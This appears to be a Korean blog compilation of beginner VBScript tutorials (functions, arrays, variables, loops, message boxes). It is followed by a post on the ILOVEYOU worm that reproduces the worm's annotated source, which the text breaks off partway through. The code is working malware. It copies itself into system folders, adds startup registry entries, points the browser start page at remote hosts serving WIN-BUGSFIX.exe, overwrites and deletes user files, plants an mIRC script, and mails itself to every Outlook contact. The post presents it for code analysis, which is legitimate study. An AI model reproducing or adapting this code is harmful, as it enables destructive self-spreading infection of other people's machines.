반응형

 

User Define Function으로 함수를 만들고, 함수를 호출할 때는 Call 으로 한다.

 

Function 함수 만들기 기본 예제 사용법...

두 값을 받아 출력하는 함수.

Function sayHello(name, age)
    msgbox( name & " is " & age & " years old.")
End Function

Call sayHello("Tutorials point", 7)

 

 

 

 * Return 값이 있는 함수

선언한 함수명 그 자체는 Return시 자기 이름 자체에 연산결과를 리턴한다.

Function Adder(a, b)
    result = a + b
    ' 함수 내에서 연산된 값을 출력
    msgbox( " output is " & result & " years old.")

    ' 연산결과인 result값을 함수값 자체로 return 시킴
    Adder = result
End Function


dim x,y
x = 1
y = 2



' Return된 함수 Adder에 x, y 값을 넣어서 출력해봄
dim outputVal
outputVal = Adder(x,y)

msgbox( " output is " & outputVal & " years old.")

코드 작동 순서. (Function은 선언만 된거지 호출 전까지 실행은 되지 않는다)

 1. dim x, y 변수 및 값 대입

 2. Adder() 함수가 호출되었으며, 값 x와 y가 대입되었다.

 3. Adder(a, b) 함수에 a=x , b=y 값이 입력되었으며 함수의 연산이 시작된다.

 4. 그리고 msgbox에 우측과 같이 값이 띄어진다.

 5. 함수명이었던 Adder는 값 3을 return받아 갖고 있게되고, 그 값을 ouputVal 이라는 변수에 넣어 주었다.

 6. 그리고 그 결과가 출력된다.

 

반응형

 

(VBscript 각종 내장 함수들)

https://www.w3schools.com/asp/asp_ref_vbscript_functions.asp

 

VBScript Functions

W3Schools offers free online tutorials, references and exercises in all the major languages of the web. Covering popular subjects like HTML, CSS, JavaScript, Python, SQL, Java, and many, many more.

www.w3schools.com

 

 

 

Sub-Procedures are similar to functions but there are few differences.

Sub루틴은 함수와 유사하지만 아래 차이점이 있다.

  • Sub-procedures DONOT Return a value while functions may or may not return a value.

        Sub루틴은 Return값이 없다.

  • Sub-procedures Can be called without call keyword.

        Sub루틴은 Call 명령 없이 호출 가능하다

  • Sub-procedures are always enclosed within Sub and End Sub statements.

        Sub루틴은 항상 Sub과 End Sub 사이에 구문이 있다.

 

 

Sub루틴 예제

Sub sayHello()
    msgbox("Hello there")
End Sub

' call없이 이름만 아래와 같이 쓰면 실행 된다. 
' 만약 function이라면 call sayhello() 이런식으로 해야 한다.
sayHello()

 

 

 

 

아래를 참고하면 좋다.

https://www.tutorialspoint.com/vbscript/vbscript_procedures.htm#:~:text=The%20most%20common%20way%20to,the%20end%20of%20the%20function.

 

VBScript - Procedures

VBScript - Procedures What is a Function? A function is a group of reusable code which can be called anywhere in your program. This eliminates the need of writing same code over and over again. This will enable programmers to divide a big program into a nu

www.tutorialspoint.com

 

반응형
반응형

 

VBscript에서 배열을 선언하는 방식은 아래와 같다.

'Method 1 : 동적 배열 선언 (사이즈를 한정하지 않음)
Dim arr1() 'Without Size

'Method 2 : 정적 배열 선언 (사이즈를 한정함 5칸)
Dim arr2(5) 'Declared with size of 5

'Method 3 : 정확한 parameter 를 넣어 선언
Dim arr3
arr3 = Array("apple","Orange","Grapes")


for i = 0 to 2 step 1
    msgbox "num of " & arr3(i),, ""
next

(결과)

for문으로 3번 반복하게 했으며, 그때마다 출력이 달라진다.

 

반응형

 

Array에 정해진 크기를 할당한 후, 각 array 칸당 하나씩 값을 입력하기

출력할 수 있는 타입들. (문자열, 숫자(정수/소수) , 날짜, 시간

' array를 5칸 지정(assign)하고,
' 그러면 0부터 5까지 총 6개의 array가 할당된다.
' 아래와 같이 각 array에 값을 하나씩 넣을 수 있다.


Dim arr(5)
arr(0) = "1"            'Number as String
arr(1) = "VBScript"     'String
arr(2) = 100            'Number
arr(3) = 2.45           'Decimal Number
arr(4) = #10/07/2013#   'Date
arr(5) = #12.45 PM#     'Time


for i = 0 to 5 step 1
    msgbox "num of " & arr(i),, ""
next

(결과) 아래와 같이 msgbox가 연달아 실행된다.

 

 

 

ReDim a()  : 이미 정의되어있는 배열크기 재정의

ReDim Preserve a() : 기존의 배열값을 유지한 채 array 크기를 다시 정의

ubound(a : 배열의 사이즈 (크기)를 담음


' array의 크기를 한정하지 않고, dynamic하게 조절
' ReDim은 다시 정의 한다는 뜻으로 안에 내용물을 싹 지우고 새롭게 할당.
' REDIM PRESERVE 는 기존 내용물은 그데로 두고 수정 및 추가에 사용.


' a()는 dynamic 사이즈의 array로 들어오는 array따라 유동적으로 크기 변경
DIM a()
i = 0

' REDIM 으로 선언하여 기존의 a()를 새롭게 5칸 크기로 재정의
REDIM a(5)
a(0) = "XYZ"
a(1) = 41.25
a(2) = 22


'위에서 선언된 a(5) 까지 모든 항목은 그대로 유지한체, 사이즈를 a(7)까지 늘림
'즉 a(0),a(1),a(2) 값은 그대로 유지
REDIM PRESERVE a(7)
For i = 3 to 7
   a(i) = i
Next
  
'for문의 루프수를 a배열의 갯수만큼 돌림
For i = 0 to ubound(a)
   Msgbox a(i)
Next


for i = 0 to 5 step 1
   msgbox "num of " & arr(i),, ""
next

(결과)

배열의 갯수 만큼 a(0) 값부터 쭉 출력됨

a(0)
a(1)
a(2)
a(3)
a(4)
a(5)
a(6)
a(7)

 

그밖에 배열 관련 함수

FunctionDescription

LBound A Function, which returns an integer that corresponds to the smallest subscript of the given arrays.
UBound A Function, which returns an integer that corresponds to the Largest subscript of the given arrays.
Split A Function, which returns an array that contains a specified number of values. Splitted based on a Delimiter.
Join A Function, which returns a String that contains a specified number of substrings in an array. This is an exact opposite function of Split Method.
Filter A Function, which returns a zero based array that contains a subset of a string array based on a specific filter criteria.
IsArray A Function, which returns a boolean value that indicates whether or not the input variable is an array.
Erase A Function, which recovers the allocated memory for the array variables.

 

<배열의 차원 및 갯수 구할때 사용 LBound , UBound>

* LBound

https://docs.microsoft.com/en-us/office/vba/language/reference/user-interface-help/lbound-function

 

LBound function (Visual Basic for Applications)

Office VBA reference topic

docs.microsoft.com

 

* UBound

https://docs.microsoft.com/en-us/office/vba/language/reference/user-interface-help/ubound-function

 

UBound function (Visual Basic for Applications)

Office VBA reference topic

docs.microsoft.com

 

<문자열을 특정 Delimete으로 자르기 Split>

https://www.w3schools.com/asp/func_split.asp

 

VBScript Split Function

W3Schools offers free online tutorials, references and exercises in all the major languages of the web. Covering popular subjects like HTML, CSS, JavaScript, Python, SQL, Java, and many, many more.

www.w3schools.com

 

<문자열을 특정 Delimete으로 붙이기 Join>

https://www.w3schools.com/asp/func_join.asp

 

VBScript Join Function

W3Schools offers free online tutorials, references and exercises in all the major languages of the web. Covering popular subjects like HTML, CSS, JavaScript, Python, SQL, Java, and many, many more.

www.w3schools.com

 

<문자열 내 특정 단어를 검색하여 내부 값을 찾아냄 Filter>

https://www.w3schools.com/asp/func_filter.asp

 

VBScript Filter Function

W3Schools offers free online tutorials, references and exercises in all the major languages of the web. Covering popular subjects like HTML, CSS, JavaScript, Python, SQL, Java, and many, many more.

www.w3schools.com

 

아래 간단한 코드를 돌려보면서 이해

' 변수 정의하기
Dim temparr

' 이미 정의된 변수 재정의하며 동시에 크기까지 지정 (여기서 크기 1은, 0과 1까지 총 2칸이다)
Redim temparr(1)

' 0번칸에 값 넣기
temparr(0) = "hi"

' array는 0부터시작
msgbox temparr(0)

Redim Preserve temparr(3)
msgbox temparr(0)


txt = "a,b,c,e"
temparr = split(txt, ",")

' 0,1,2,3 숫자세서 마지막 숫자를 셈
msgbox Ubound(temparr)

' Ubound는 temparr의 크기값이 들어감
for i = 0 to Ubound(temparr)
    msgbox temparr(i)
Next

 

 

2차원 배열에 대해서는 아래를 참고.

https://ansan-survivor.tistory.com/1939

 

[Visual Basic] 비주얼베이직 스크립트 (VBScript) 2차원 배열(Array), 배열 크기, 배열사이즈 함수 ubound

앞서 1차원 배열에 관해서는 아래를 참고. https://ansan-survivor.tistory.com/1590 [Visual Basic] 비주얼베이직 스크립트 (VBScript) 배열, 리스트 (Array), 배열 크기, 배열사이즈 함수 uboun VBscript에서 배열을 선언

ansan-survivor.tistory.com

 

* 매우 유용. (생성한 List (Array)에 대해서 Append 시키거나 하는 방법), Collection을 사용하여 List와 같이 활용

https://ansan-survivor.tistory.com/1945

 

[Visual Basic] 비주얼베이직 스크립트 (VBScript), Array와 List사용, 동적 List Append 하기, 좌표점 추가 List

파이썬은 List가 있어서 index를 쉽게 컨트롤할 수 있지만, VBScript에는 List가 없다. VBScript는 "Array" 배열과, Collection이 있으며, Collection을 이용해 List처럼 사용할 수 있다. 배열(Array): 배열은 동일한

ansan-survivor.tistory.com

 

 

 

 

반응형
반응형

마소 공식 가이드 

https://docs.microsoft.com/ko-kr/dotnet/visual-basic/language-reference/statements/set-statement

 

Set 문 - Visual Basic

자세한 정보: Set 문(Visual Basic)

docs.microsoft.com

 

특징.

 

  변수의 앞글자에 숫자x

  마지막에 특수문자 . 들어가면 안됨

  변수길이 255자 이내

  대소문자 구분 안함

  문자열(String) 오직 " " 큰따옴표만 사용 내부에 있는 경우 String이 됨,

  작은따옴표 ' 는 주석으로만 사용.  
  날짜, 시간 저장 가능. ex) 함수 : Now()    /   날자형 변수(#)사용 Today = #20/07/2020#

  True

 

 숫자 타입. (Digit Type)

Integer -32,768 ∼ 32,767
Long -2,147,483,648 ∼   2,147,483,647
Byte  0 ∼ 255  (음수 X)
Single 음수경우 : -3.402823E38 ∼ -1.401298E-45 / 양수경우 : 1.401298E-45 ∼ 3.402823E38
Double 음수경우 : -1.79769313486232E308 ∼ -4.94065645841247E-324 / 양수경우 : 4.94065645841247E-32 ∼ 1.79769313486232E308
Currency
-922,337,203,685,477.5808 ∼ 922,337,203,685,488.5807

 

결과값 출력확인을 위해서 Msgbox를 쓸 수 있다.

https://ansan-survivor.tistory.com/1510

 

[Visual Basic] 비주얼베이직 스크립트 (VBScript) 메세지 박스 띄우기

윈도우에서 많이 보는 기본적인 메세지박스를 띄울 수 있는 코드이다. Msgbox "내용", [선택옵션], "제목" Msgbox "Box Message", 0, "Title" 아래 예를 들면 3번째 항목의 숫자를 무엇을 넣냐에 따라 메세지

ansan-survivor.tistory.com

 

 

1. 주석달기, 변수 선언하기

변수선언 : Dim [변수명]

주석달기 : 문자 ' 를 앞에 쓰면 뒤에는 모두 주석이 됨.

예)

' 주석달기
' 변수 하나
Dim MyVar
' 변수 여럿
Dim a,b,c,d

 

 

2. 변수에 값 대입하기

숫자 : [변수명] = 12.34  

문자 : [변수명] = "hello world"

예)

pi = 3.1415
str = "come back"

 

 

3. 상수 선언하기

  (변수는 언제든 값을 바꿔서 넣을 수 있지만, 상수는 한번 선언하면 계속 그값이 유지된다)

Const [상수명] = 값

예)

Const MAXMEMBER = 12039382
Const PI = 3.1415

 

 

4. Set 사용하기, 개채변수 선언, Object나 Collection을 담는 변수

  Dim으로 선언 후, Set으로 개채변수로 사용

Set [개채변수] = object

예) dict 개체변수선언, 그리고 dict에 여러개 object를 넣음

Dim dict 
Set dict = CreateObject("Scripting.Dictionary")
dict.Add "Name", "VBScript" 
dict.Add "Id", "1" 
dict.Add "Trainer", "K Mondal"

If dict.Exists("Name") Then 
    msgbox true
Else 
    msgbox false
End If

 

5. 두개의 문자열 합치기 & 연산자

str1 = "hello "
str2 = "world"
str3 = str1 & str2 & "nice to meet you"

 

6. 조건문 (If, Elseif, Else ,End if)

형태

If condition Then
     [
statements]

[Elseif condition Then]

     [elseif_statements]

[Else]

     [elsestatements]

End If

예)

dim a
a = 11

if a < 10 Then
    result = True
elseif a >= 5 Then
    result = false
else
    result = 0
end if

msgbox result

 

 

 

7. 비교문 (AND, OR, IS NOTHING, NOT)

= 같으면
a<b b가 크면
a>b a가 크면
a<=b b가 크거나 같으면
a>=b a가 크거나 같으면
a<>b a와 b가 다르면
a And b a도 true b도 true 여야만 true
a Or b a나 b중 하나만 true여도 true
a Is Nothing  set으로 선언된 개체변수에 사용
a Not b a나 b 둘다 아니어야 true
Dim dict 
Set dict = Nothing

한 개체 변수를 Nothing으로 지정하면 그 변수는 어떠한 실제 개체도 참조하지 않습니다. 여러 개체 변수들이 동일한 실제 개체를 참조할 경우 명시적으로 Set문을 사용하여 해당되는 모든 변수들이 Nothing으로 지정된 후 또는 함축적으로 Set문을 사용하여 Nothing으로 지정된 마지막 개체 변수가 범위 밖으로 빠져나간 후에만 그 변수들이 참조하는 개체에 연결된 메모리와 시스템 리소스를 해제합니다.

(Nothing 출처: http://www.namsam.com/asp/vbscript/ko_597.htm)

 

 

8. for 반복문 (for ... next)

형태

For counter = start To end [Step step]

     [statements]

Next

예)

for i = 0 to 10 step 1
    msgbox i
next

i가 10에 도달할 때까지 10번 반복한다.

 

 

9. for each 반복문 (for ... Each)

여러항목이 있는 Lists 안에 각각 하나씩 빼서 다 나올 때까지 반복

형태

For Each OneList In Lists

     MsgBox & OneList   

Next

 

 

 

10. While 반복문

여러항목이 있는 Lists 안에 각각 하나씩 빼서 다 나올 때까지 반복

형태

예)

dim a
a = 3


while a < 10
    msgbox "num of " & a,, ""
    a = a + 1
wend

10까지 도달하면 안 뜬다

 

11. Case 문

형태

 Select Case [variable_name]

        Case   [value1] 

                   [statements]

        Case  [value2] 

                [statements]

        Case Else

                 [statements]

  End Select

예)

dim a
a = 3

select case a

    case 1
        msgbox "a is 1"
    case 2
        msgbox "a is 2"
    case else
        msgbox "nothing"
        
end select

 

 

참고하기 좋은 사이트

-> https://kkamikoon.tistory.com/entry/VBVisual-Basic-Script-%EA%B8%B0%EB%B3%B8-%EB%AC%B8%EB%B2%95

 

VB(Visual Basic) Script 기본 문법

Visual Basic Script의 문법을 설명하기 앞서, vbs에서는 마땅한 print 함수, 출력 함수가 없습니다. 그래서 선언으로 대신 설명하고, 만약 print를 하고 싶다면 msgbox(Message Box)로 대신 출력해도 됩니다. msg

kkamikoon.tistory.com

 

 

반응형
반응형

 

윈도우에서 많이 보는 기본적인 메세지박스를 띄울 수 있는 코드이다.

Msgbox "내용", [선택옵션], "제목"

Msgbox "Box Message", 0, "Title"

아래 예를 들면 3번째 항목의 숫자를 무엇을 넣냐에 따라 메세지 옵션이 달라진다.

아래 3번째 항목을 0 부터 6까지 넣었을 때 어떻게 변하는지 볼 수 있다.

 

 

(모든 메세지 박스에 대한 정의는 다음 사이트에 있다.=>

https://docs.microsoft.com/en-us/previous-versions//sfw6660x(v=vs.85)?redirectedfrom=MSDN

출처 :&nbsp;https://www.youtube.com/watch?v=NwIOuZZqolE&list=PL72Es31dJnK6-ZFXXHFurNwJ6QtWPtxbz&index=1

아래 간단한 튜토리얼 영상을 참고하면 좋다.

https://www.youtube.com/watch?v=NwIOuZZqolE&list=PL72Es31dJnK6-ZFXXHFurNwJ6QtWPtxbz&index=1 

 

또한 아래 블로거님도 잘 정리해 주셨다.

https://m.blog.naver.com/PostView.naver?isHttpsRedirect=true&blogId=kingreddrake&logNo=220710535015 

 

VBScript) MsgBox

VBScript를 이용하면 Batch 파일에서 메세지 창을 표현이 가능합니다. VBScript는 메모장에서 명령...

blog.naver.com

 

 

 

 

반응형
반응형

2000년대를 강타했던 악명높은 악성 코드가 vbs로 만들어졌다.

개발자는 중소기업 컴퓨터 프로그램을 만들어 팔거나, 대학교 학생들의 논문을 대행해주는 동호회 회원이 만들었다고 한다.

바이러스를 만든 이유는 그저 졸업논문이 인정받지 못해서라고 한다. (아래 참고)

https://namu.wiki/w/%EB%9F%AC%EB%B8%8C%20%EB%B0%94%EC%9D%B4%EB%9F%AC%EC%8A%A4

 

러브 바이러스 - 나무위키

[접기/펼치기]dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow eq="" ctr=0 Set fso = CreateObject("Scripting.FileSystemObject") set file = fso.OpenTextFile(WScript.ScriptFullname,1) vbscopy=file.ReadAll main() sub main() On Error Resume Next di

namu.wiki

당시 이메일을 이용해 Love Letter로 보내고, 저 아이콘을 실행시키면 .vbs파일이 작동되며, 중요한 확장자를 가진 파일들을 강제로 변경시켜서 사용할 수 없게 만들어 버린다. (아래 영상 참고)

https://www.youtube.com/watch?v=ZqkFfF5kAvw (악성코드에 당하는 테스트 영상)

 

반응형

※ 악용 금지. 코드 분석용으로 사용. 코드 사용에 대한 책임은 전적으로 본인에게 있음!

 

vbs 코드

(출처 : https://github.com/onx/ILOVEYOU/blob/master/LOVE-LETTER-FOR-YOU.TXT.vbs )

=>

rem  barok -loveletter(vbe) <i hate go to school>
rem by: spyder  /  ispyder@mail.com  /  @GRAMMERSoft Group  /  Manila,Philippines
On Error Resume Next

rem Setup global variables to be used throughout subroutines and functions.
Dim fso, dirsystem, dirwin, dirtemp, eq, ctr, file, vbscopy, dow
eq = ""
ctr = 0

rem Open the current script file and define "vbscopy" which can be used to
rem read its own contents. Used to replicate itself in other files.
Set fso = CreateObject("Scripting.FileSystemObject")
Set file = fso.OpenTextFile(WScript.ScriptFullname, 1)
vbscopy = file.ReadAll

main()

rem Subroutine to initalize the program
Sub main()
  On Error Resume Next
  Dim wscr, rr

  rem Creates a shell which will be used to read the registry.
  Set wscr = CreateObject("WScript.Shell")
  rem Gets a registry key which indicates the scripting time-out from Windows.
  rr = wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")

  rem Checks if the current timeout is more than 0.
  If (rr >= 1) Then
    rem Sets the timeout to 0, effectively making it so that the script won't
    rem time out, incase the system happens to be too slow to execute it.
    wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout", 0, "REG_DWORD"
  End If

  rem Finds special folders, such as system, temporary and windows folders.
  Set dirwin = fso.GetSpecialFolder(0)
  Set dirsystem = fso.GetSpecialFolder(1)
  Set dirtemp = fso.GetSpecialFolder(2)
  Set c = fso.GetFile(WScript.ScriptFullName)

  rem Copy itself into VBScript files MSKernel32.vbs, Win32DLL.vbs and
  rem LOVE-LETTER-FOR-YOU.TXT.vbs
  c.Copy(dirsystem & "\MSKernel32.vbs")
  c.Copy(dirwin & "\Win32DLL.vbs")
  c.Copy(dirsystem & "\LOVE-LETTER-FOR-YOU.TXT.vbs")

  rem Call the other subroutines.
  regruns()
  html()
  spreadtoemail()
  listadriv()
End Sub

rem Subroutine to create and update special registry values.
Sub regruns()
  On Error Resume Next
  Dim num, downread

  rem Set the system to automatically run MSKernel32.vbs and Win32DLL.vbs on startup.
  regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32", dirsystem & "\MSKernel32.vbs"
  regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL", dirwin & "\Win32DLL.vbs"

  rem Get internet Explorer's download directory.
  downread = ""
  downread = regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory")

  rem If the directory wasn't found, then use C:\ drive as the download directory.
  If (downread = "") Then
    downread = "c:\"
  End If

  rem Check if a file named "WinFAT32.exe" exists in the system files.
  If (fileexist(dirsystem & "\WinFAT32.exe") = 1) Then
    Randomize

    rem Generate a random number from 1 to 4.
    num = Int((4 * Rnd) + 1)

    rem Randomly update the Internet Explorer's start page that leads to a
    rem page that will download a malicious executable "WIN-BUGSFIX.exe".
    If num = 1 Then
      regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage", "http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
    ElseIf num = 2 Then
      regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage", "http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
    ElseIf num = 3 Then
      regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage", "http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"
    ElseIf num = 4 Then
      regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage", "http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe"
    End If
  End If

  rem Check if the "WIN-BUGSFIX.exe" file exists in the download directory.
  If (fileexist(downread & "\WIN-BUGSFIX.exe") = 0) Then
    rem Add WIN-BUGSFIX.exe to run on startup
    regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX", downread & "\WIN-BUGSFIX.exe"
    rem Update Internet Explorer's start page to "about:blank"
    regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\StartPage", "about:blank"
  End If
End Sub

rem Subroutine to list folders in drives.
Sub listadriv()
  On Error Resume Next
  Dim d, dc, s

  Set dc = fso.Drives

  For Each d In dc
    If (d.DriveType = 2) Or (d.DriveType = 3) Then
      folderlist(d.path & "\")
    End If
  Next

  listadriv = s
End Sub

rem Subroutine infect other files, by copying itself into them as well
rem as creating a malicious mIRC script.
Sub infectfiles(folderspec)
  On Error Resume Next
  Dim f, f1, fc, ext, ap, mircfname, s, bname, mp3

  Set f = fso.GetFolder(folderspec)
  Set fc = f.Files

  For Each f1 In fc
    ext = fso.GetExtensionName(f1.path)
    ext = lcase(ext)
    s = lcase(f1.name)

    rem Copies itself into every file with vbs/vbe extension.
    If (ext = "vbs") Or (ext = "vbe") Then
      Set ap = fso.OpenTextFile(f1.path, 2, true)

      ap.write vbscopy
      ap.close
    rem Copies itself into every file with js/jse/css/wsh/sct/hta extension
    rem and creates a copy of the file with the .vbs extension.
    ElseIf (ext = "js")
      Or (ext = "jse")
      Or (ext = "css")
      Or (ext = "wsh")
      Or (ext = "sct")
      Or (ext = "hta")
    Then
      Set ap = fso.OpenTextFile(f1.path, 2, true)

      ap.write vbscopy
      ap.close
      bname = fso.GetBaseName(f1.path)

      Set cop = fso.GetFile(f1.path)

      cop.copy(folderspec & "\" & bname & ".vbs")
      fso.DeleteFile(f1.path)
    rem Copies itself into every file with jpg/jpeg extension
    rem and creates a copy of the file with the .vbs extension.
    ElseIf (ext = "jpg") Or (ext = "jpeg") Then
      rem Copies itself
      Set ap = fso.OpenTextFile(f1.path, 2, true)

      ap.write vbscopy
      ap.close

      Set cop = fso.GetFile(f1.path)

      cop.copy(f1.path & ".vbs")
      fso.DeleteFile(f1.path)
    rem Copies itself into every file with mp3/mp2 extension.
    ElseIf (ext = "mp3") Or (ext = "mp2") Then
      Set mp3 = fso.CreateTextFile(f1.path & ".vbs")

      mp3.write vbscopy
      mp3.close

      Set att = fso.GetFile(f1.path)
      rem Sets file attributes to make the file Hidden.
      rem Normal files have the attribute set to 0 so adding 2 to it,
      rem will set the attributes to Hidden.
      att.attributes = att.attributes + 2
    End If

    rem Checks if the folder has already been infected, if not it will continue
    rem to infect the files.
    If (eq <> folderspec) Then
      rem Looks for mIRC and related files to determine whether it
      rem should create/replace its script.ini with a malicious script.
      If (s = "mirc32.exe")
        Or (s = "mlink32.exe")
        Or (s = "mirc.ini")
        Or (s = "script.ini")
        Or (s = "mirc.hlp")
      Then
        Set scriptini = fso.CreateTextFile(folderspec & "\script.ini")
        rem The following mIRC script checks if the "nick" of a user is the same
        rem as "me" to halt and send a DCC command that will send a message to
        rem the user with a link to the LOVE=LETTER-FOR-YOU html page on the
        rem system.
        scriptini.WriteLine "[script]"
        scriptini.WriteLine ";mIRC Script"
        scriptini.WriteLine ";  Please dont edit this script... mIRC will corrupt, If mIRC will"
        scriptini.WriteLine "    corrupt... WINDOWS will affect and will not run correctly. thanks"
        scriptini.WriteLine ";"
        scriptini.WriteLine ";Khaled Mardam-Bey"
        scriptini.WriteLine ";http://www.mirc.com"
        scriptini.WriteLine ";"
        scriptini.WriteLine "n0=on 1:JOIN:#:{"
        scriptini.WriteLine "n1=  /If ( $nick == $me ) { halt }"
        scriptini.WriteLine "n2=  /.dcc send $nick" & dirsystem & "\LOVE-LETTER-FOR-YOU.HTM"
        scriptini.WriteLine "n3=}"
        scriptini.close

        eq = folderspec
      End If
    End If
  Next
End Sub

rem Subroutine used to get file listing of a folder.
Sub folderlist(folderspec)
  On Error Resume Next
  Dim f, f1, sf

  Set f = fso.GetFolder(folderspec)
  Set sf = f.SubFolders

  rem Iterates over each subfolder from the given top-level folder and
  rem recursively infect files.
  For Each f1 In sf
    infectfiles(f1.path)
    folderlist(f1.path)
  Next
End Sub

rem Subroutine used to create/write registry entries.
Sub regcreate(regkey,regvalue)
  Set regedit = CreateObject("WScript.Shell")
  regedit.RegWrite regkey, regvalue
End Sub

rem Subroutine used to get registry entries.
Function regget(value)
  Set regedit = CreateObject("WScript.Shell")
  regget = regedit.RegRead(value)
End Function

rem Function to check if a file exists.
Function fileexist(filespec)
  On Error Resume Next
  Dim msg

  If (fso.FileExists(filespec)) Then
    msg = 0
  Else
    msg = 1
  End If

  fileexist = msg
End Function

rem Function to check if a folder exists.
Function folderexist(folderspec)
  On Error Resume Next
  Dim msg

  If (fso.GetFolderExists(folderspec)) Then
    msg = 0
  Else
    msg = 1
  End If

  fileexist = msg
End Function

rem Subroutine to send emails to the user's contacts through MAPI
rem (Messaging Application Programming Interface), the API used by Outlook to
rem communicate with the Microsoft Exchange Server which also hosts calendars
rem and address book.
Sub spreadtoemail()
  On Error Resume Next
  Dim x, a, ctrlists, ctrentries, malead, b, regedit, regv, regad

  rem Creates a shell to edit the registry.
  Set regedit = CreateObject("WScript.Shell")
  rem Creates a new Outlook application object instance, to access the MAPI.
  Set out = WScript.CreateObject("Outlook.Application")
  rem Gets the MAPI namespace used to access the address book lists.
  Set mapi = out.GetNameSpace("MAPI")

  rem Goes through all contacts in the address book and sends an email
  rem with the LOVE-LETTER-FOR-YOU program as an attachment.
  For ctrlists = 1 To mapi.AddressLists.Count
    Set a = mapi.AddressLists(ctrlists)
    x = 1
    rem Gets a registry key that is used to check who has been sent an email,
    rem already to ensure that even if there may be duplicate contacts, it will
    rem only send the email once to the same address.
    regv = regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\" & a)

    If (regv = "") Then
      regv = 1
    End If

    If (int(a.AddressEntries.Count) > int(regv)) Then
      rem Iterates over each entry in the address list.
      For ctrentries = 1 To a.AddressEntries.Count
        malead = a.AddressEntries(x)
        regad = ""
        regad = regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\" & malead )

        rem If the contact hasn't yet been sent an email, a new email will be
        rem composed with the virus attached and a "kind" message and the
        rem subject "ILOVEYOU".
        If (regad = "") Then
          Set male = out.CreateItem(0)

          male.Recipients.Add(malead)
          male.Subject = "ILOVEYOU"
          male.Body = vbcrlf & "kindly check the attached LOVELETTER coming from me."
          male.Attachments.Add(dirsystem & "\LOVE-LETTER-FOR-YOU.TXT.vbs")
          male.Send

          rem Sets the registry key to indicate that the email has been sent
          rem to the current contact.
          regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\" & malead, 1, "REG_DWORD"
        End If

        x = x + 1
      Next

      regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\" & a, a.AddressEntries.Count
    Else
      regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\" & a, a.AddressEntries.Count
    End If
  Next

  Set out = Nothing
  Set mapi = Nothing
End Sub

rem Subroutine to generate and create the HTML file for LOVE-LETTER-FOR-YOU.HTM.
Sub html
  On Error Resume Next
  Dim lines, n, dta1, dta2, dt1, dt2, dt3, dt4, l1, dt5, dt6

  rem Generates an HTML page which contains a JScript and VBScript to replicate
  rem itself by leveraging ActiveX. It also listens for mouse and key events,
  rem which will open additional windows of the same page.
  dta1 = "<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>"
    & vbcrlf & _ "<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-? @GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"
    & vbcrlf & _ "<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is good...@-@>"
    & vbcrlf & _ "<?-?HEAD><BODY ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ "
    & vbcrlf & _ "ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"
    & vbcrlf & _ "<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read this HTML file<BR>- Please press #-#YES#-# button to Enable ActiveX<?-?p>"
    & vbcrlf & _ "<?-?CENTER><MARQUEE LOOP=@-@infinite@-@ BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQUEE>"
    & vbcrlf & _ "<?-?BODY><?-?HTML>"
    & vbcrlf & _ "<SCRIPT language=@-@JScript@-@>"
    & vbcrlf & _ "<!--?-??-?"
    & vbcrlf & _ "If (window.screen){var wi=screen.availWidth;var hi=screen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}"
    & vbcrlf & _ "?-??-?-->"
    & vbcrlf & _ "<?-?SCRIPT>"
    & vbcrlf & _ "<SCRIPT LANGUAGE=@-@VBScript@-@>"
    & vbcrlf & _ "<!--"
    & vbcrlf & _ "on error resume next"
    & vbcrlf & _ "Dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"
    & vbcrlf & _ "aw=1"
    & vbcrlf & _ "code="

  dta2 = "Set fso=CreateObject(@-@Scripting.FileSystemObject@-@)"
    & vbcrlf & _ "Set dirsystem=fso.GetSpecialFolder(1)"
